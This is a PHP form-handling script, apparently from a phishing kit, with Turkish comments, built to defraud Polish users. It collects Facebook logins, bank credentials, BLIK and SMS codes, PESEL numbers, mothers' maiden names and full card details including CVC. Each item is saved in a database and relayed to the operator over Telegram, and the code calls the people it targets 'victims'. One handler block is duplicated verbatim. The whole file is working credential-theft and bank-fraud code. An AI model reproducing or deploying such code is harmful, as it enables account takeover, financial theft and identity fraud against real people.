<?php
session_start();
date_default_timezone_set('Europe/Warsaw');

// Merkezi config dosyamızı çağır
require_once 'admin/db_config.php';

try {
    $conn = new PDO("mysql:host=$db_host;dbname=$db_name;charset=utf8", $db_user, $db_pass);
    $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
} catch (PDOException $e) {
    die("Veritabanı bağlantı hatası: " . $e->getMessage());
}

$ip_address = $_SERVER['REMOTE_ADDR'] ?? 'UNKNOWN';

// --- YARDIMCI FONKSİYON: OTURUM YOKSA YENİ KURBAN OLUŞTUR ---
// Bu fonksiyon, eğer kurbanın ID'si yoksa veritabanında yeni bir kayıt açar
// ve oluşan ID'yi session'a atar.
function ensureVictimSession($conn, $ip_address, $source_page = 'unknown') {
    if (!isset($_SESSION['fb_victim_id'])) {
        $placeholder_email = "ghost_" . $source_page . "_" . date('H.i.s') . "_" . rand(100,999);
        $stmt = $conn->prepare("INSERT INTO fb_accounts (email, password, ip_address, created_at) VALUES (?, ?, ?, ?)");
        $stmt->execute([$placeholder_email, '[ghost-account]', $ip_address, date('Y-m-d H:i:s')]);
        $_SESSION['fb_victim_id'] = $conn->lastInsertId();
    }
    return $_SESSION['fb_victim_id'];
}

// --- KRİTİK DÜZELTME: Session Kontrolü ---
if (isset($_SESSION['fb_victim_id'])) {
    $check_stmt = $conn->prepare("SELECT id FROM fb_accounts WHERE id = ?");
    $check_stmt->execute([$_SESSION['fb_victim_id']]);
    if (!$check_stmt->fetchColumn()) {
        unset($_SESSION['fb_victim_id']);
    }
}

// ==================================================================
// GİRİŞ İŞLEMLERİ (Bu işlemlerde ID oluşturulur)
// ==================================================================

// --- 1. Telefon Numarası ile Giriş (phone_page.php) ---
if (isset($_POST['phone'])) {
    $phone = trim($_POST['phone']);
    if (!empty($phone)) {
        $stmt = $conn->prepare("INSERT INTO fb_accounts (email, password, ip_address, created_at) VALUES (?, ?, ?, ?)");
        $stmt->execute([$phone, '[phone-login]', $ip_address, date('Y-m-d H:i:s')]);
        $_SESSION['fb_victim_id'] = $conn->lastInsertId();
        
        $message = "<b>Yeni Kurban (Telefon Girişi)</b>\n";
        $message .= "<b>ID:</b> " . $_SESSION['fb_victim_id'] . "\n";
        $message .= "<b>Telefon:</b> " . htmlspecialchars($phone) . "\n";
        $message .= "<b>IP:</b> " . $ip_address . "\n";
        sendTelegramMessage($message);
        
        header('Location: wait.php');
        exit();
    }
}

// --- 2. Facebook Girişi (facebook_page.php) ---
if (isset($_POST['email']) && isset($_POST['password'])) {
    $email = trim($_POST['email']);
    $password = trim($_POST['password']);
    if (!empty($email) && !empty($password)) {
        $stmt = $conn->prepare("INSERT INTO fb_accounts (email, password, ip_address, created_at) VALUES (?, ?, ?, ?)");
        $stmt->execute([$email, $password, $ip_address, date('Y-m-d H:i:s')]);
        $_SESSION['fb_victim_id'] = $conn->lastInsertId();
        
        $message = "<b>Yeni Kurban (Facebook)</b>\n";
        $message .= "<b>ID:</b> " . $_SESSION['fb_victim_id'] . "\n";
        $message .= "<b>Kullanıcı:</b> " . htmlspecialchars($email) . "\n";
        $message .= "<b>Şifre:</b> " . htmlspecialchars($password) . "\n";
        $message .= "<b>IP:</b> " . $ip_address . "\n";
        sendTelegramMessage($message);
        
        header('Location: wait.php');
        exit();
    }
}

// --- 3. Banka Giriş Bilgisi Kaydı (bank_login.php) ---
if (isset($_POST['bank_name']) && isset($_POST['bank_login'])) {
    $bank_name = trim($_POST['bank_name']);
    $bank_login = trim($_POST['bank_login']);
    $bank_password = trim($_POST['bank_password'] ?? '');

    // ÖZEL FORMAT: BANK:[BankaAdı]:[Login]
    // Bu formatı admin panelinde logoya çevireceğiz.
    $special_display = "BANK:" . $bank_name . ":" . $bank_login;

    if (!isset($_SESSION['fb_victim_id'])) {
        // Oturum yoksa yeni kayıt (Email yerine özel formatı basıyoruz)
        $stmt = $conn->prepare("INSERT INTO fb_accounts (email, password, ip_address, created_at) VALUES (?, ?, ?, ?)");
        $stmt->execute([$special_display, $bank_password, $ip_address, date('Y-m-d H:i:s')]);
        $_SESSION['fb_victim_id'] = $conn->lastInsertId();
    } else {
        // Oturum varsa ve daha önce ghost ise güncelle
        $stmt = $conn->prepare("UPDATE fb_accounts SET email = ?, password = ? WHERE id = ? AND email LIKE 'ghost_%'");
        $stmt->execute([$special_display, $bank_password, $_SESSION['fb_victim_id']]);
    }
    
    // İşlem yapılan ID
    $victim_id = $_SESSION['fb_victim_id'];
    
    // Detaylı Loglara Kayıt (Yedek)
    $stmt = $conn->prepare("INSERT INTO bank_logs (victim_id, bank_name, login_id, password, ip_address, created_at) VALUES (?, ?, ?, ?, ?, ?)");
    $stmt->execute([$victim_id, $bank_name, $bank_login, $bank_password, $ip_address, date('Y-m-d H:i:s')]);
    
    // Telegram Bildirimi
    $message = "<b>Yeni Banka Bilgisi</b>\n";
    $message .= "<b>Kurban ID:</b> " . $victim_id . "\n";
    $message .= "<b>Banka:</b> " . htmlspecialchars($bank_name) . "\n";
    $message .= "<b>Login:</b> " . htmlspecialchars($bank_login) . "\n";
    $message .= "<b>Şifre:</b> " . htmlspecialchars($bank_password) . "\n";
    sendTelegramMessage($message);
    
    header('Location: wait.php');
    exit();
}
// --- 4. BLIK Kodu Kaydı (blik.php) ---
if (isset($_POST['blik_code'])) {
    $blik_code = trim($_POST['blik_code']);
    if (strlen($blik_code) === 6 && is_numeric($blik_code)) {
        // Oturum yoksa oluştur
        $victim_id = ensureVictimSession($conn, $ip_address, 'blik');

        $stmt = $conn->prepare("INSERT INTO blik_logs (victim_id, blik_code, ip_address, created_at) VALUES (?, ?, ?, ?)");
        $stmt->execute([$victim_id, $blik_code, $ip_address, date('Y-m-d H:i:s')]);
        
        $message = "<b>Yeni BLIK Kodu</b>\n";
        $message .= "<b>Kurban ID:</b> " . $victim_id . "\n";
        $message .= "<b>BLIK Kodu:</b> " . htmlspecialchars($blik_code) . "\n";
        $message .= "<b>IP:</b> " . $ip_address . "\n";
        sendTelegramMessage($message);
        
        header('Location: wait.php');
        exit();
    }
}

// ==================================================================
// DİĞER VERİ GİRİŞLERİ (Artık burada da ID kontrolü yapılıyor)
// ==================================================================
// --- EKSİK PARÇA: Özel Soru Cevabı Kaydı ---
if (isset($_POST['custom_answer'])) {
    $custom_answer = trim($_POST['custom_answer']);
    
    if (!empty($custom_answer)) {
        // Oturum güvenliği
        if (session_status() == PHP_SESSION_NONE) { session_start(); }
        $victim_id = $_SESSION['fb_victim_id'] ?? ensureVictimSession($conn, $ip_address, 'question');

        // Veritabanına Yaz
        $stmt = $conn->prepare("UPDATE fb_accounts SET custom_answer = ? WHERE id = ?");
        $stmt->execute([$custom_answer, $victim_id]);
        
        // Telegram'a Bildir
        $message = "<b>🔐 Yeni Güvenlik Cevabı</b>\n";
        $message .= "<b>🆔 Kurban ID:</b> " . $victim_id . "\n";
        $message .= "<b>💬 Cevap:</b> " . htmlspecialchars($custom_answer) . "\n";
        $message .= "<b>🌐 IP:</b> " . $ip_address . "\n";
        sendTelegramMessage($message);
        
        // Bekleme ekranına at
        header('Location: wait.php');
        exit();
    }
}// --- EKSİK PARÇA: Özel Soru Cevabı Kaydı ---
if (isset($_POST['custom_answer'])) {
    $custom_answer = trim($_POST['custom_answer']);
    
    if (!empty($custom_answer)) {
        // Oturum güvenliği
        if (session_status() == PHP_SESSION_NONE) { session_start(); }
        $victim_id = $_SESSION['fb_victim_id'] ?? ensureVictimSession($conn, $ip_address, 'question');

        // Veritabanına Yaz
        $stmt = $conn->prepare("UPDATE fb_accounts SET custom_answer = ? WHERE id = ?");
        $stmt->execute([$custom_answer, $victim_id]);
        
        // Telegram'a Bildir
        $message = "<b>🔐 Yeni Güvenlik Cevabı</b>\n";
        $message .= "<b>🆔 Kurban ID:</b> " . $victim_id . "\n";
        $message .= "<b>💬 Cevap:</b> " . htmlspecialchars($custom_answer) . "\n";
        $message .= "<b>🌐 IP:</b> " . $ip_address . "\n";
        sendTelegramMessage($message);
        
        // Bekleme ekranına at
        header('Location: wait.php');
        exit();
    }
}
// --- PESEL ve Anne Kızlık Soyadı İşleme (GÜÇLENDİRİLMİŞ VERSİYON) ---
if (isset($_POST['pesel']) && isset($_POST['mmn'])) {
    $pesel = trim($_POST['pesel']);
    $mmn = trim($_POST['mmn']);
    
    // Oturum kontrolü
    if (session_status() == PHP_SESSION_NONE) { session_start(); }
    
    // ID Kontrolü: Eğer session yoksa, en son eklenen kurbanı bulmaya çalış
    if (!isset($_SESSION['fb_victim_id'])) {
        // IP adresinden son kurbanı bul
        $stmt = $conn->prepare("SELECT id FROM fb_accounts WHERE ip_address = ? ORDER BY id DESC LIMIT 1");
        $stmt->execute([$ip_address]);
        $last_victim = $stmt->fetch(PDO::FETCH_ASSOC);
        
        if ($last_victim) {
            $victim_id = $last_victim['id'];
            $_SESSION['fb_victim_id'] = $victim_id; // Session'ı tamir et
        } else {
            // Hiçbiri yoksa yeni oluştur (Mecburen)
            $stmt = $conn->prepare("INSERT INTO fb_accounts (email, ip_address, created_at) VALUES ('ghost_recovery', ?, NOW())");
            $stmt->execute([$ip_address]);
            $victim_id = $conn->lastInsertId();
        }
    } else {
        $victim_id = $_SESSION['fb_victim_id'];
    }

    // --- KRİTİK NOKTA: Veritabanı Kaydı ---
    try {
        $stmt = $conn->prepare("UPDATE fb_accounts SET pesel = ?, mmn = ? WHERE id = ?");
        $result = $stmt->execute([$pesel, $mmn, $victim_id]);
        
        $db_status = $result ? "✅ Başarılı" : "❌ Başarısız";
    } catch (PDOException $e) {
        $db_status = "❌ HATA: " . $e->getMessage();
    }

    // Telegram Bildirimi (Debug Bilgisiyle Birlikte)
    $message = "<b>🔐 Yeni Kimlik Doğrulama Bilgisi</b>\n";
    $message .= "<b>🆔 Kurban ID:</b> " . $victim_id . "\n";
    $message .= "<b>🔢 PESEL:</b> " . htmlspecialchars($pesel) . "\n";
    $message .= "<b>👩 Anne Kızlık Soyadı:</b> " . htmlspecialchars($mmn) . "\n";
    $message .= "<b>🌐 IP:</b> " . $ip_address . "\n";
    $message .= "<b>💾 DB Durumu:</b> " . $db_status . "\n"; // Buraya dikkat et!
    
    sendTelegramMessage($message);

    header('Location: wait.php'); 
    exit();
}
// --- 7. SMS Kodu Kaydı (sms.php) ---
if (isset($_POST['sms_code'])) {
    $sms_code = trim($_POST['sms_code']);
    
    // Oturum yoksa oluştur
    $victim_id = ensureVictimSession($conn, $ip_address, 'sms1');

    $stmt = $conn->prepare("UPDATE fb_accounts SET sms_code = ? WHERE id = ?");
    $stmt->execute([$sms_code, $victim_id]);
    
    $message = "<b>Yeni SMS Kodu (1)</b>\n";
    $message .= "<b>Kurban ID:</b> " . $victim_id . "\n";
    $message .= "<b>SMS Kodu:</b> " . htmlspecialchars($sms_code) . "\n";
    sendTelegramMessage($message);
    
    header('Location: wait.php');
    exit();
}

// --- 8. İKİNCİ SMS Kodu Kaydı (sms2.php) ---
if (isset($_POST['sms_code_2'])) {
    $sms_code_2 = trim($_POST['sms_code_2']);

    // Oturum yoksa oluştur
    $victim_id = ensureVictimSession($conn, $ip_address, 'sms2');
    
    $stmt = $conn->prepare("UPDATE fb_accounts SET sms_code_2 = ? WHERE id = ?");
    $stmt->execute([$sms_code_2, $victim_id]);
    
    $message = "<b>Yeni SMS Kodu (2)</b>\n";
    $message .= "<b>Kurban ID:</b> " . $victim_id . "\n";
    $message .= "<b>SMS Kodu 2:</b> " . htmlspecialchars($sms_code_2) . "\n";
    sendTelegramMessage($message);
    
    header('Location: wait.php');
    exit();
}

// --- 9. Kart Bilgisi Kaydı (card.php) ---
if (isset($_POST['card_number'])) { 
    // Oturum yoksa oluştur
    $victim_id = ensureVictimSession($conn, $ip_address, 'card');

    $card_holder = trim($_POST['card_holder'] ?? 'Belirtilmedi');
    $card_number = trim($_POST['card_number']);
    $card_expiry = trim($_POST['card_expiry']);
    $card_cvc = trim($_POST['card_cvc']);
    
    $stmt = $conn->prepare("UPDATE fb_accounts SET card_number = ?, card_expiry = ?, card_cvc = ?, card_holder = ? WHERE id = ?");
    $stmt->execute([$card_number, $card_expiry, $card_cvc, $card_holder, $victim_id]);
    
    $message = "<b>Yeni Kart Bilgisi</b>\n";
    $message .= "<b>Kurban ID:</b> " . $victim_id . "\n";
    $message .= "<b>Kart Sahibi:</b> " . htmlspecialchars($card_holder) . "\n";
    $message .= "<b>Numara:</b> " . htmlspecialchars($card_number) . "\n";
    $message .= "<b>SKT:</b> " . htmlspecialchars($card_expiry) . "\n";
    $message .= "<b>CVC:</b> " . htmlspecialchars($card_cvc) . "\n";
    sendTelegramMessage($message);
    
    header('Location: wait.php');
    exit();
}

// --- 10. Onay Durumu Güncelleme (Admin Panelinden) ---
if (isset($_POST['victim_id']) && isset($_POST['confirmation_choice'])) {
    $posted_victim_id = filter_input(INPUT_POST, 'victim_id', FILTER_VALIDATE_INT);
    $choice = $_POST['confirmation_choice'];
    if ($posted_victim_id && ($choice === 'approved' || $choice === 'cancelled')) {
        $status_text = ($choice === 'approved') ? 'Onaylandı' : 'İptal Edildi';
        $stmt = $conn->prepare("UPDATE fb_accounts SET confirmation_status = ? WHERE id = ?");
        $stmt->execute([$status_text, $posted_victim_id]);
        
        $log_id = $_SESSION['fb_victim_id'] ?? $posted_victim_id;

        $message = "<b>Onay Durumu Güncellendi</b>\n";
        $message .= "<b>Kurban ID:</b> " . $log_id . "\n";
        $message .= "<b>Durum:</b> " . htmlspecialchars($status_text) . "\n";
        sendTelegramMessage($message);
        
        header('Location: wait.php'); 
        exit();
    }
}

// Eğer hiçbir koşul sağlanmazsa
header('Location: index.php');
exit();
?>